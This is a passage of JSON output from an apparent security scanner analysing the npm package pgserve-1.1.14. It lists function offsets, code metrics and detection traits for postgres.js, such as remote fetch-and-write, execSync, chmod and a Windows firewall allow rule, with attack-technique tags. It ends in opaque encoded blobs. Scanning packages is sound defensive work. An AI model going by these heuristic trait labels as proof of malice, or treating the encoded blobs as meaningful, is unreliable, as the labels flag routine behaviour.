              "downloadPostgresBinaries",
              1745
            ],
            [
              "copyDirRecursive",
              5063
            ],
            [
              "ensureLibrarySymlinks",
              6024
            ],
            [
              "getBinaryPaths",
              8423
            ],
            [
              "buildSpawnEnv",
              12905
            ],
            [
              "buildCommand",
              14097
            ],
            [
              "arg",
              14378
            ],
            [
              "pgvectorMetaMatches",
              15261
            ],
            [
              "constructor",
              15667
            ],
            [
              "setSyncManager",
              17003
            ],
            [
              "start",
              17170
            ],
            [
              "_runInitDb",
              20520
            ],
            [
              "_initAdminPool",
              22403
            ],
            [
              "resolve",
              24165
            ],
            [
              "_loadExistingDatabases",
              24466
            ],
            [
              "_startPostgres",
              25290
            ],
            [
              "anonymous",
              25338
            ],
            [
              "anonymous",
              27147
            ],
            [
              "anonymous",
              27453
            ],
            [
              "anonymous",
              28202
            ],
            [
              "anonymous",
              28616
            ],
            [
              "anonymous",
              28935
            ],
            [
              "anonymous",
              28970
            ],
            [
              "anonymous",
              29070
            ],
            [
              "open",
              29355
            ],
            [
              "connectError",
              29597
            ],
            [
              "error",
              29823
            ],
            [
              "data",
              30042
            ],
            [
              "close",
              30067
            ],
            [
              "anonymous",
              30113
            ],
            [
              "anonymous",
              30331
            ],
            [
              "anonymous",
              31231
            ],
            [
              "createDatabase",
              31922
            ],
            [
              "anonymous",
              32561
            ],
            [
              "err",
              33385
            ],
            [
              "ensurePgvectorFiles",
              34759
            ],
            [
              "_doEnsurePgvectorFiles",
              35118
            ],
            [
              "_pgvectorPaths",
              37350
            ],
            [
              "_detectPgMajor",
              37968
            ],
            [
              "_readPgvectorMeta",
              39132
            ],
            [
              "_writePgvectorMeta",
              39540
            ],
            [
              "_removePgvectorFiles",
              40076
            ],
            [
              "_installPgvectorFromDeb",
              40778
            ],
            [
              "_healStalePgvector",
              44984
            ],
            [
              "enablePgvectorExtension",
              45865
            ],
            [
              "anonymous",
              46084
            ],
            [
              "anonymous",
              46488
            ],
            [
              "databaseExists",
              47977
            ],
            [
              "stop",
              48107
            ],
            [
              "anonymous",
              48496
            ],
            [
              "getSocketPath",
              49683
            ],
            [
              "getConnectionUrl",
              49913
            ],
            [
              "getStats",
              50085
            ]
          ],
          "metrics": {
            "ast": {
              "op.eq": 42,
              "op.le": 1,
              "op.lt": 1,
              "op.ne": 9,
              "op.add": 11,
              "op.div": 2,
              "op.lor": 19,
              "op.mul": 1,
              "op.sub": 1,
              "op.land": 22,
              "op.lnot": 37,
              "max_depth": 35,
              "call_count": 364,
              "node_count": 10480,
              "op.coalesce": 1,
              "member_count": 107,
              "max_array_len": 8,
              "op_density.eq": 0,
              "op_density.le": 0,
              "op_density.lt": 0,
              "op_density.ne": 0,
              "op_density.add": 0,
              "op_density.div": 0,
              "op_density.lor": 0,
              "op_density.mul": 0,
              "op_density.sub": 0,
              "op_density.land": 0,
              "op_density.lnot": 0,
              "max_concat_chain": 2,
              "member_depth_max": 3,
              "infinite_loop_count": 1,
              "op_density.coalesce": 0
            },
            "file": {
              "size": 50343,
              "entropy": 4.83
            },
            "text": {
              "lines": 1375,
              "top_char": 101,
              "max_ws_run": 11,
              "digit_ratio": 0.01,
              "space_count": 11019,
              "char_entropy": 4.83,
              "unique_chars": 99,
              "top_char_null": 0,
              "lines_over_200": 1,
              "string_density": 0.21,
              "top_char_ratio": 0.06,
              "avg_line_length": 35.61,
              "max_line_length": 215,
              "non_ascii_ratio": 0,
              "empty_line_ratio": 0.11,
              "last_line_length": 1,
              "long_token_count": 1,
              "whitespace_ratio": 0.25,
              "identifier_density": 1.18,
              "line_length_stddev": 29.05,
              "normalized_string_count": 7.71,
              "repeated_char_sequences": 160,
              "suspicious_string_ratio": 0.02,
              "suspicious_comment_ratio": 0.11,
              "suspicious_identifier_ratio": 0.01,
              "normalized_unique_identifiers": 31.27
            },
            "binds": {
              "count": 149
            },
            "binary": {
              "peak_region_bytes": 26624,
              "peak_region_entropy": 5.14
            },
            "source": {
              "class_count": 1,
              "function_count": 37
            },
            "imports": {
              "count": 4,
              "stdlib_count": 4,
              "stdlib_ratio": 1
            },
            "strings": {
              "sql": 2,
              "bytes": 5591,
              "count": 286,
              "shell": 2,
              "ip_count": 4,
              "url_count": 2,
              "avg_length": 19.55,
              "max_length": 184,
              "path_count": 2,
              "avg_entropy": 2.83,
              "email_count": 1,
              "empty_count": 9,
              "entropy_stddev": 1.18,
              "embedded_code_candidates": 3
            },
            "comments": {
              "chars": 15731,
              "count": 209,
              "lines": 362,
              "base64": 2,
              "xxx_count": 2,
              "high_entropy": 22,
              "to_code_ratio": 0.36
            },
            "functions": {
              "count": 38,
              "nested": 11,
              "density": 4,
              "anonymous": 18,
              "avg_params": 0.62,
              "code_ratio": 1.14,
              "max_params": 2,
              "one_liners": 6,
              "length_stddev": 39.85,
              "over_100_lines": 2,
              "avg_name_length": 14.24,
              "no_params_count": 30,
              "avg_length_lines": 28.56,
              "max_length_lines": 186,
              "min_length_lines": 1,
              "avg_nesting_depth": 1,
              "max_nesting_depth": 4,
              "high_entropy_names": 16,
              "avg_param_name_length": 7.65
            },
            "identifiers": {
              "count": 1621,
              "unique": 326,
              "avg_length": 8.65,
              "max_length": 24,
              "min_length": 1,
              "avg_entropy": 2.61,
              "reuse_ratio": 0.2,
              "length_stddev": 4.49,
              "sequential_names": 2,
              "single_char_count": 2,
              "single_char_ratio": 0.01,
              "high_entropy_count": 20,
              "high_entropy_ratio": 0.06,
              "all_lowercase_ratio": 0.41,
              "all_uppercase_ratio": 0.02,
              "underscore_prefix_count": 14
            }
          }
        },
        "id": 32,
        "mol": "H₆(Cm₅Db₅F₁₃Os₅Po₅Ti₂)",
        "path": "pgserve-1.1.14.tgz!!package/src/postgres.js",
        "pid": 0,
        "risk": 21,
        "sha": "06e074cd33d9cd1e8c7a74e5b900b3814e3c8ea629c1553551c23a15ecddd44b",
        "size": 50343,
        "traits": [
          {
            "id": "micro-behaviors/os/console/io::dense-stderr-suppression",
            "conf": 0.85,
            "crit": 3,
            "desc": "Dense stderr suppression pattern",
            "spans": [
              [
                42521,
                11
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/archive/extract/tar::tar-extract",
            "atk": "T1560.001",
            "conf": 0.78,
            "crit": 3,
            "desc": "tar extraction command usage",
            "spans": [
              [
                42480,
                17
              ]
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-2",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"and\"",
            "spans": [
              [
                1572,
                0
              ]
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-5",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"for\"",
            "spans": [
              [
                719,
                0
              ]
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-6",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"with\"",
            "spans": [
              [
                98,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/client/response-body::fetch-response-body-read",
            "conf": 0.9,
            "crit": 3,
            "desc": "JavaScript fetch reads response body",
            "spans": [
              [
                41716,
                137
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/archive/extract/tar::js-tar-extract-command",
            "atk": "T1140",
            "conf": 0.9,
            "crit": 3,
            "desc": "JavaScript command extracts an archive with tar",
            "spans": [
              [
                42480,
                17
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/encode/hex::js-to-string-hex",
            "conf": 0.95,
            "crit": 3,
            "desc": "Calls JavaScript toString with hex encoding",
            "spans": [
              [
                20590,
                29
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/envelope::command-assignment-key",
            "conf": 0.4,
            "crit": 1,
            "desc": "Command field or assignment key",
            "spans": [
              [
                20969,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/envelope::result-assignment-key",
            "conf": 0.4,
            "crit": 1,
            "desc": "Result field or assignment key",
            "spans": [
              [
                24521,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/json::json-stringify-call",
            "conf": 0.5,
            "crit": 2,
            "desc": "Calls JSON.stringify()",
            "spans": [
              [
                38771,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/json::json-stringify-identifier",
            "conf": 0.85,
            "crit": 3,
            "desc": "Serializes an identifier as JSON",
            "spans": [
              [
                38771,
                14
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/source/syntax/schema::hostname-object-key",
            "conf": 0.9,
            "crit": 1,
            "desc": "Object literal declares a hostname key",
            "spans": [
              [
                22775,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/source/syntax/schema::username-object-key",
            "conf": 0.9,
            "crit": 1,
            "desc": "Object literal declares a username key",
            "spans": [
              [
                22855,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/chmod/executable/mode::node-chmod-exec-mode-755",
            "atk": "T1222",
            "mbc": "E1222",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node chmod sets 0o755 executable mode",
            "spans": [
              [
                4610,
                12
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/chmod/executable/mode::node-chmod-exec-mode-string-755",
            "atk": "T1222",
            "mbc": "E1222",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node chmod sets string 0755 executable mode",
            "spans": [
              [
                17341,
                17
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/chmod/modify::node-chmod-call",
            "conf": 0.85,
            "crit": 3,
            "desc": "Node calls chmod to change permissions",
            "spans": [
              [
                4610,
                12
              ],
              [
                17341,
                17
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/enumerate/directory::fs-readdir",
            "conf": 0.6,
            "crit": 3,
            "desc": "Calls Node.js readdir at least twice",
            "spans": [
              [
                4478,
                15
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/enumerate/directory::node-readdir-sync-call",
            "conf": 0.84,
            "crit": 3,
            "desc": "Calls Node.js synchronous directory enumeration",
            "spans": [
              [
                4478,
                15
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/copy::fs-copyfileSync",
            "conf": 0.75,
            "crit": 3,
            "desc": "Copy file sync (fs.copyFileSync)",
            "spans": [
              [
                5455,
                15
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/delete::fs-rmSync",
            "atk": "T1070.004",
            "mbc": "C0047",
            "conf": 0.9,
            "crit": 2,
            "desc": "Delete file or directory sync",
            "spans": [
              [
                4738,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::cwd-reference",
            "conf": 0.84,
            "crit": 1,
            "desc": "References the Node.js current working directory",
            "spans": [
              [
                10729,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::js-file-write",
            "conf": 1.0,
            "crit": 2,
            "desc": "Writes file via Node.js fs",
            "spans": [
              [
                3598,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::node-write-file-sync",
            "conf": 1.0,
            "crit": 3,
            "desc": "Node synchronously writes a file",
            "spans": [
              [
                3598,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::node-write-file-sync-call",
            "conf": 1.0,
            "crit": 3,
            "desc": "Node calls imported writeFileSync",
            "spans": [
              [
                3598,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/construct::node-modules-package-data-path-reference",
            "conf": 0.88,
            "crit": 3,
            "desc": "Node path references package data file",
            "spans": [
              [
                10729,
                293
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/location::node-homedir-hidden-entry",
            "conf": 0.92,
            "crit": 3,
            "desc": "Node builds a hidden home-directory path",
            "spans": [
              [
                1496,
                34
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/temp/directory::os-tmpdir",
            "conf": 0.8,
            "crit": 2,
            "desc": "Uses the Node.js system temporary directory",
            "spans": [
              [
                3445,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/write/runtime::bun-write-file",
            "conf": 0.9,
            "crit": 3,
            "desc": "Bun file-write API call",
            "spans": [
              [
                20715,
                9
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/firewall/netsh::netsh-advfirewall-rule-allow",
            "atk": "T1562.004",
            "conf": 0.92,
            "crit": 3,
            "desc": "Adds Windows firewall allow rule",
            "spans": [
              [
                31480,
                70
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::os-platform-call",
            "conf": 0.75,
            "crit": 2,
            "desc": "Queries OS platform with os.platform()",
            "spans": [
              [
                873,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::process-cwd-call",
            "conf": 0.7,
            "crit": 2,
            "desc": "process.cwd() call",
            "spans": [
              [
                10729,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::process-platform-member",
            "conf": 0.8,
            "crit": 3,
            "desc": "Reads the Node.js process.platform value",
            "spans": [
              [
                22491,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/direct::bun-spawn-call",
            "atk": "T1059.007",
            "mbc": "C0017",
            "conf": 0.9,
            "crit": 3,
            "desc": "Bun spawns an external process",
            "spans": [
              [
                3886,
                9
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::execSync-call",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.85,
            "crit": 3,
            "desc": "Runs shell commands synchronously with execSync",
            "spans": [
              [
                38531,
                8
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::js-bun-exec",
            "conf": 0.8,
            "crit": 3,
            "desc": "JavaScript Bun process spawn API",
            "spans": [
              [
                3839,
                9
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::js-execsync",
            "conf": 1.0,
            "crit": 3,
            "desc": "Executes shell commands synchronously",
            "spans": [
              [
                38531,
                8
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/path::shell-executable-reference",
            "conf": 0.9,
            "crit": 3,
            "desc": "References a shell executable",
            "spans": [
              [
                14444,
                7
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/fd/stdio::stderr-string",
            "conf": 0.3,
            "crit": 2,
            "desc": "References the stderr stream name",
            "spans": [
              [
                21956,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/fd/stdio::stdout-string",
            "conf": 0.3,
            "crit": 2,
            "desc": "References the stdout stream name",
            "spans": [
              [
                21956,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/user/query::node-os-alias-homedir-call",
            "atk": "T1033",
            "conf": 0.8,
            "crit": 3,
            "desc": "Node os-alias home directory query",
            "spans": [
              [
                1506,
                10
              ]
            ]
          },
          {
            "id": "micro-behaviors/time/schedule/delay::settimeout-callback-long-delay",
            "conf": 0.85,
            "crit": 3,
            "desc": "setTimeout defers callback ten or more seconds",
            "spans": [
              [
                31220,
                518
              ]
            ]
          },
          {
            "id": "micro-behaviors/time/sleep/interval::js-sleep-ms-delay",
            "conf": 0.9,
            "crit": 3,
            "desc": "JavaScript sleep call with millisecond delay",
            "spans": [
              [
                30849,
                11
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/download/url::os-package-url-reference",
            "conf": 0.88,
            "crit": 3,
            "desc": "HTTP URL ending in package extension",
            "spans": [
              [
                41483,
                128
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::js-fetch-call",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.8,
            "crit": 3,
            "desc": "Calls JavaScript fetch API",
            "spans": [
              [
                2630,
                18
              ],
              [
                3073,
                17
              ],
              [
                41716,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/url/domain::js-remote-host-url",
            "conf": 0.75,
            "crit": 3,
            "desc": "Contains a hardcoded remote HTTP(S) URL",
            "spans": [
              [
                2562,
                26
              ],
              [
                41483,
                26
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/control-flow/error-handling::catch-returns-constant-only",
            "conf": 0.88,
            "crit": 3,
            "desc": "Catch block only returns a constant",
            "spans": [
              [
                39288,
                32
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/db/sql::sql-select",
            "conf": 0.6,
            "crit": 2,
            "desc": "SQL SELECT syntax reference",
            "spans": [
              [
                24560,
                31
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/chmod/executable/mode::node-chmod-exec-mode-text",
            "atk": "T1222",
            "mbc": "E1222",
            "conf": 0.82,
            "crit": 3,
            "desc": "Node chmod with owner-executable octal mode",
            "spans": [
              [
                4613,
                25
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/chmod/modify::node-chmod",
            "atk": "T1222",
            "mbc": "E1222",
            "conf": 0.7,
            "crit": 3,
            "desc": "Node.js chmod call",
            "spans": [
              [
                4612,
                11
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/chmod/modify::node-create-restricted-mode",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node creates a path with restricted mode",
            "spans": [
              [
                18921,
                56
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/delete::fs-rm-recursive",
            "atk": "T1070.004",
            "mbc": "C0047",
            "conf": 0.8,
            "crit": 3,
            "desc": "Node.js fs.rm with recursive option",
            "spans": [
              [
                4740,
                28
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/mkdir::recursive-mkdir-sync",
            "conf": 0.9,
            "crit": 3,
            "desc": "Creates a directory tree synchronously",
            "spans": [
              [
                3498,
                36
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/traverse::traverse-readdir-walk-find",
            "conf": 0.85,
            "crit": 2,
            "desc": "Traverses directories using common APIs",
            "spans": [
              [
                4478,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::read-node",
            "conf": 0.9,
            "crit": 3,
            "desc": "Reads files with Node.js",
            "spans": [
              [
                39245,
                15
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::readfilesync-call",
            "conf": 0.9,
            "crit": 3,
            "desc": "Calls readFileSync",
            "spans": [
              [
                39245,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/link/symlink::node-symlink-sync",
            "conf": 0.85,
            "crit": 3,
            "desc": "Node.js creates symbolic links",
            "spans": [
              [
                6595,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/write/file/direct::write-file-sync",
            "conf": 0.95,
            "crit": 3,
            "desc": "Node fs writes to a file synchronously",
            "spans": [
              [
                3598,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/module/load::dynamic-external-import-string-literal",
            "conf": 0.9,
            "crit": 3,
            "desc": "Dynamically imports a non-relative module path",
            "spans": [
              [
                22448,
                19
              ],
              [
                22454,
                13
              ],
              [
                22461,
                5
              ],
              [
                38473,
                34
              ],
              [
                38479,
                28
              ],
              [
                38486,
                20
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/module/load::dynamic-import-string-literal",
            "conf": 0.8,
            "crit": 3,
            "desc": "Dynamically imports a literal module path",
            "spans": [
              [
                22448,
                19
              ],
              [
                22454,
                13
              ],
              [
                22461,
                5
              ],
              [
                38473,
                34
              ],
              [
                38479,
                28
              ],
              [
                38486,
                20
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/module/load::node-lazy-exec-builtin-import",
            "atk": "T1027",
            "conf": 0.9,
            "crit": 3,
            "desc": "Defers loading a Node execution builtin",
            "spans": [
              [
                38479,
                28
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/random/crypto::node-random-bytes",
            "conf": 0.65,
            "crit": 3,
            "desc": "Node.js random byte generation",
            "spans": [
              [
                20590,
                18
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::node-platform-darwin-branch",
            "conf": 0.7,
            "crit": 2,
            "desc": "Branches on macOS platform value",
            "spans": [
              [
                1037,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::node-platform-linux-branch",
            "conf": 0.7,
            "crit": 2,
            "desc": "Branches on Linux platform value",
            "spans": [
              [
                971,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::node-platform-method-call",
            "conf": 0.75,
            "crit": 3,
            "desc": "Calls a Node OS platform method",
            "spans": [
              [
                873,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::node-platform-win32-branch",
            "conf": 0.7,
            "crit": 2,
            "desc": "Branches on Windows platform value",
            "spans": [
              [
                921,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/spawn-variable::spawn-variable-program",
            "conf": 0.82,
            "crit": 3,
            "desc": "Node spawns a variable program path",
            "spans": [
              [
                21177,
                18
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/interpreter/shell::bin-sh",
            "conf": 0.6,
            "crit": 3,
            "desc": "/bin/sh shell interpreter path reference",
            "spans": [
              [
                14444,
                7
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/user/query::os-homedir-call",
            "atk": "T1033",
            "conf": 0.7,
            "crit": 3,
            "desc": "os.homedir() user home directory",
            "spans": [
              [
                1506,
                10
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/download/write::script-fetches-and-writes-remote-content",
            "atk": "T1105",
            "conf": 0.94,
            "crit": 3,
            "desc": "Script saves fetched remote content to disk",
            "uses": [
              5,
              22,
              23,
              24
            ],
            "spans": [
              [
                3598,
                17
              ],
              [
                41716,
                137
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::http-client-usage",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.7,
            "crit": 3,
            "desc": "Uses HTTP client APIs",
            "uses": [
              44
            ],
            "spans": [
              [
                2630,
                18
              ],
              [
                3073,
                17
              ],
              [
                41716,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/source/syntax/schema::host-identity-field-pair",
            "conf": 0.88,
            "crit": 3,
            "desc": "Object literal pairs hostname and username keys",
            "uses": [
              12,
              13
            ],
            "spans": [
              [
                22775,
                17
              ],
              [
                22855,
                17
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::file-content-read-operation",
            "conf": 0.82,
            "crit": 2,
            "desc": "File content read operation",
            "uses": [
              54
            ],
            "spans": [
              [
                39245,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/random/crypto::node-random-generation",
            "conf": 0.72,
            "crit": 3,
            "desc": "Node.js cryptographic random-value generation",
            "uses": [
              61
            ],
            "spans": [
              [
                20590,
                18
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::node-os-platform-alias-branch",
            "conf": 0.82,
            "crit": 3,
            "desc": "Node OS alias platform branch",
            "uses": [
              62,
              63,
              64,
              65
            ],
            "spans": [
              [
                873,
                13
              ],
              [
                921,
                20
              ],
              [
                971,
                20
              ],
              [
                1037,
                21
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::child-process-exec",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.85,
            "crit": 3,
            "desc": "Node.js child_process execution",
            "uses": [
              34
            ],
            "spans": [
              [
                38531,
                8
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::http-client",
            "conf": 0.7,
            "crit": 3,
            "desc": "Uses common HTTP client APIs",
            "uses": [
              44
            ],
            "spans": [
              [
                2630,
                18
              ],
              [
                3073,
                17
              ],
              [
                41716,
                13
              ]
            ]
          }
        ],
        "type": "javascript"
      },
      {
        "id": 33,
        "mol": "H₂(Cm₂Db)",
        "sha": "b1dd0734bda1d2fa7202d546b1b48ebf1ff0212b46669c6e4b6a16f4a483561d",
        "path": "pgserve-1.1.14.tgz!!package/src/protocol.js",
        "risk": 2,
        "size": 8312,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 34,
        "mol": "H₂(Db₂Po)",
        "sha": "475a73c88a1c3349dbff2493fb7a94d9dbc32c7768abfc3a6d44f869f2c5d9cb",
        "path": "pgserve-1.1.14.tgz!!package/tests/quick-bench.js",
        "risk": 3,
        "size": 3572,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 35,
        "mol": "H₂(CmDb)",
        "sha": "59460536e1497324ea1b72ac396dd10f9b7dd21a0af50855527e1f1de46e65e5",
        "path": "pgserve-1.1.14.tgz!!package/src/restore.js",
        "risk": 2,
        "size": 18922,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 36,
        "mol": "H₂(CmDb)",
        "sha": "eb4118739b9da8c8a177d1508a0c2dad873c34b1b07353c73093d440b7378015",
        "path": "pgserve-1.1.14.tgz!!package/src/router.js",
        "risk": 2,
        "size": 14886,
        "type": "javascript",
        "depth": 1
      },
      {
        "ctx": [
          {
            "b": "boXZ.B8\u0026{yx(kOnzGWdiB-4J[fdFBUasXH2wO#0\u003ezddE2ax0u1zE)?}asXH3z/6D4A+fqmq=ck5By^0Cp!btoBy^0Cp\u0026yz%xl4MZqa@9hwPz%9AX5twzE:(exldT8C4z!nwPzy3A=2l5v}t#\u0026dHEpFatCM7b{kJ%zy]:mBzk]fiV}BzwPF#6B-6lYACPuhwGUY8B97#4wft/5ayX]7By/FAB8=2gBy^lnasY2K3tBu@z/P}xDMUZ+BywS!B7DFxazbUjz6ginB-6lYACPuhwHxLDx(d*cA=-BJaw+NAx()]eEircxz/3QAkXj+yv@#:9v\u003ez+wy+G:uy?X05cP.VHze:AlBrC]MC4Cf9z/M$GazbUjz6gh\u003ewO+{/BAh89ePU]Ffk$Mux()]tC4Cf9z/Ni!3tBu@z/P}xDMWxKvrcD:B.(elraP@QzGF/*A=#2maBLwAA=k!qcOv28e?O!#A:{+pzE^s6e]2CPi%]XsAbP=sazbWqw].*basy=xcP.VHze:AlBrCKhBz8!eA=k!qcVAHoxEt\u003eGx(d*cA=-BxB0b7nz/3QAz/Wo/3tBu@z/P}xAaZq9A=k!qcVAX",
            "ln": 0,
            "col": 1,
            "line": 1
          },
          {
            "b": "jV$}\u003ejV$}\u003ejV$}\u003ejV$}\u003ejV$}\u003ejV$}\u003ejV$}\u003ejV$}\u003ejV$}\u003ejV$}\u003ejV$}\u003ejV$}\u003ejV$}nv@DmaBrA{[jS]7UarUYoB7GCOasyAsf\u003eauvz6{\u003ewarUciy?bNHcTp)JvP$N7cObPEay]h6iV]!PCRJVighOx\u00263lQE7A+e*1iV]!PCRJVigCS!{ed9HxD1y/dz*ak+cTp)JvP$SAz6{\u003ewarUftvqXaGcTp)JvP$SDz6{\u003ewarUYowi7?XtZd#jtqF0JcObPEaz\u003eL1wO#P#iV]!PCRJVigC%1%ed9HxvR*f#iV]!PCRJVigC\u0026}@ed9HxCw7YjwJy}YtZd#jtqFiPcObQMi%(rFdK\u003e=FdJ?Mdx(n2nvR6B!xL?f#yAN7{zF\u003c3a3lQ/K3taA#v@#B6zxJy%zF\u003c3ac[co=3lQE3z/fSmy?kknz!yFa3m6%=e[ofnzHA^SlOq?^y?d$NM6yo[KM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cMKq-qKSU+?arR^HarR^HAa:l6A=#1przDaPnKV2\u0026lpBTpnkhxFocveknMnb3arR^HarR^HarR^HarR^HarR^HaMwVG3GvtkarR^HarR^HarR^HarR^HarQ",
            "ln": 807,
            "col": 29,
            "line": 24
          },
          {
            "b": "woqGoawDo^xFaszB-7.rAar#jdJ\u0026}HwoqGldjEs=arUfjzGx[xwO(ydC{2l)CwgPfxDO(Hw[=6$wN)\u003efarUYoBAIRwayFz0DQxz#A+e*1Ei:d!\u0026*bxFe]\u003eJxwNPWew[=6$wN)lrbZR)hwnb[ebZQ]#MxrKEA+fi3vrr]eze:PxdsAE*lOry\u003cB7GDwt{7ztc#-WrasXG*fFB}dBz\u003cS.CX7zlfE.z@u][Zz3jnBodHEpFavxNNv%8P@By=Oov@Dy0azbLjayPdgwO#c{zE\u003cd$dJ?n@xj$\u003c%azC)tvR6U6wPw[BaA}yhxj#x#wftx2zdmi%vruj4zxJ\u003efaARpqz/]YaAclmBvqYP#y*?A%zEW@0asY2Kw{503BzkVhay!?@",
            "ln": 2665,
            "col": 41,
            "line": 69
          },
          {
            "b": "BrCydBy/u1C%VB!B-OV*aAz4mB.(eve]S*hau*]4au{#yvrufnzddVqfF1s{f!:.4aAz4mB.(eve]S*hdiH8.f!+40iV{ar3lQE3z/fSraz2Olz/OV=zEEv6C{2l)c#@)uB.(eve[G6zz/P[wE0^4\u003cdiH8.f!+py3jm)#A+funA=90]vrufnA=l8rwghLkA=l8kxMe9oq!6-^wGSGCy*?A%zEW@Uz/fYsat1ZEA=M8sp?sJMy\u0026\u003c}Ki%{xy3ni\u003eU3lQ/vp\u0026Zn/BrCgfzEEu7A+frmy\u0026\u003c.vBywS{wGVhhBz8!rv@Dy0A%:3tfa8rlzEW^5z/cXpA+PAkmRM:Gy/j?=B.(evc$c}dqE%](y\u0026\u003c.HaA?saBz(g$wPJ0gBAn#Qv{%mPB7FlTz7cPO3lQE3z/fSmy?kknz!yFa3m2",
            "ln": 3218,
            "col": 7,
            "line": 86
          },
          {
